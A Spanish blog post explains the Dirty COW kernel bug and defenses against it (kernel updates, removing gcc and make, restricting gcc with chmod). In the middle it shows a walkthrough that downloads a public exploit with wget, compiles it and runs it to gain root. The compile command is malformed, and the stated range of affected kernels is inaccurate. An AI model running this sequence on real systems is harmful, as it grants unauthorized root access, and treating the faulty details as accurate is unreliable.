Dirty COW: Qué es y cómo protegerse de ello

En la última semana hemos visto que una nueva vulnerabilidad llamativa ha creado bastante alboroto en la red, tanto por su peligrosidad como por el tiempo que ha estado "escondida" sin que nadie la vea. Dicha vulnerabilidad, llamada Dirty COW (Dirty Copy on Write) aprovecha un fallo en el código del Kernel para ejecutar un código y escalar privilegios, con lo que si bien este bug no ha sido catalogado cómo crítico (principalmente debido a que es una vulnerabilidad explotable a nivel local y no remoto) sí que es importante solucionarlo lo antes posible, pues si alguien toma el control remoto de la máquina, aunque sea a nivel de usuario, puede aprovechar el bug para escalar privilegios; más aún cuando hay bastantes exploits públicos circulando por Internet tales como este encontrado en exploit-db: https://www.exploit-db.com/exploits/40616/; exploits cuyo uso es tan fácil como compilarlos y ejecutarlos...

Esta vulnerabilidad está lleva presente nada menos que 9 años, y consiste en que un usuario sin privilegios puede leer y escribir partes del sistema perteneciente a otros usuarios (incluyendo root), saltándose todas restricciones impuestas por los permisos del sistema. Esto se podría realizar en cualquier Kernel cuya versión se encuentre entre la 2.6.22 y la 3.9 (ambos inclusive), lo que abarca a bastantes versiones de kernel... Es cierto que cualquier sistema medianamente actual tiene una versión superior a la 3.9 pero... ¿Cuantos sistemas antiguos hemos visto por ahí? ¿Cuantos equipos pululan en el mundo que tienen sistemas operativos, Kernels y aplicaciones antiguas que funcionan bajo la premisa: "Funciona bien con lo que no lo toques"? Saber si nuestro núcleo es vulnerable o no, es tan sencillo como escribir el comando:

uname -r

Versión  del Kernel no vulnerable 

Versión del Kernel vulnerable 

Para el que pueda dudar de la facilidad con la que se puede realizar la prueba de concepto con el exploit, hagamos la prueba sobre este equipo vulnerable que tenemos. Únicamente habría que descargar el exploit mediante wget, y llamarlo cowroot.c:

1. wget https://www.exploit-db.com/download/40616 --no-check-certificate
2. mv 40616 cowroot.c

Ahora con el exploit descargado, solamente habría que adaptarlo para que funcione bajo un arquitectura x86 o x64. Por defecto estaría preparado para entornos x64, pues son los más comunes hoy en día; en dicho caso únicamente habría que hacer:

1. gcc -o cowroot.c -o COW -pthread
2. chmod +x COW
3. ./COW

Con esto ya seríamos root, pues el exploit está orientado a escalar privilegios para ser root; con lo que sin tener conocimientos de C ni haber hecho absolutamente nada que se pueda considerar complejo, hemos llegado a ser root, cosa harto preocupante, pues si bien solo se puede aprovechar la vulnerabilidad si se tiene acceso al equipo, el poder que ofrece este bug es preocupante... Aún así este post no está orientado a mostrar cómo usar este exploit sino a cómo poder evitar al susodicho o a casos parecidos...

Lo cierto es que para protegernos de este bug en concreto lo más seguro y sencillo es actualizar el kernel y listo, pero imaginemos que esto no basta, o peor aún que aún actualizando el kernel, vemos que hay vulnerabilidades parecidas en el futuro... ¿Cómo afrontar esto? Si lo pensamos con algo de profundidad, podemos ver que la mayoría de los exploits de este tipo requieren bajar un paquete para despues compilarlo y ejecutarlo en el propio equipo, con lo que podemos deducir que la compilación es un arma de doble filo.

Siempre se dice que lo ideal es tener lo mínimo instalado en un equipo o servidor, pues cosa que se tiene instalada, cosa que puede aprovecharse para entrar de forma no autorizada en el equipo o, este caso, para escalar privilegios... Y este es un caso que puede servirnos de ejemplo. ¿De qué nos sirve tener make y gcc instalados si no nos dedicamos a compilar paquetes habitualmente? O lo que es más: ¿Por qué podemos hacer dicha tarea tan importante sin que esto requiera tener ningún tipo de privilegio? Lo más fácil para evitar este tipo de problemas es simplemente desinstalar los paquetes make y gcc e instalarlos únicamente en momentos puntuales:

apt-get purge make gcc

Pero esto no siempre es una opción... Es por eso que si nos fijamos en los permisos que tiene el binario gcc, veremos que TODO el mundo tiene control TOTAL sobre éste, cosa que si bien a veces es cómodo, puede resultar contraproducente.

Una forma de evitar que cualquiera compile en nuestro equipo es limitar los permisos de este binario para que únicamente root pueda usarlo; lo cual sería tan sencillo como hacer:

chmod 700 /usr/bin/gcc

Esto haría que solamente los usuarios con las credenciales de root puedan usar este binario, lo cual haría que gcc siguiese siendo usable pero que al mismo añadiría una capa de seguridad extra a nuestro equipo.

Cualquiera de estas dos medidas, no solo nos protegerían de Dirty COW, sino que de otras posibles futuras amenazas que requiriesen compilación local; haciendo que nuestro sistema sea, al menos, un poco más robusto de lo que era antes.

Aún así, esto también nos puede servir como una pequeña demostración de la importancia de mantener nuestros sistemas actualizados, ya que las versiones más "recientes" del Kernel están exentas de esta vulnerabilidad.

Espero que os haya resultado útil.

Saludos.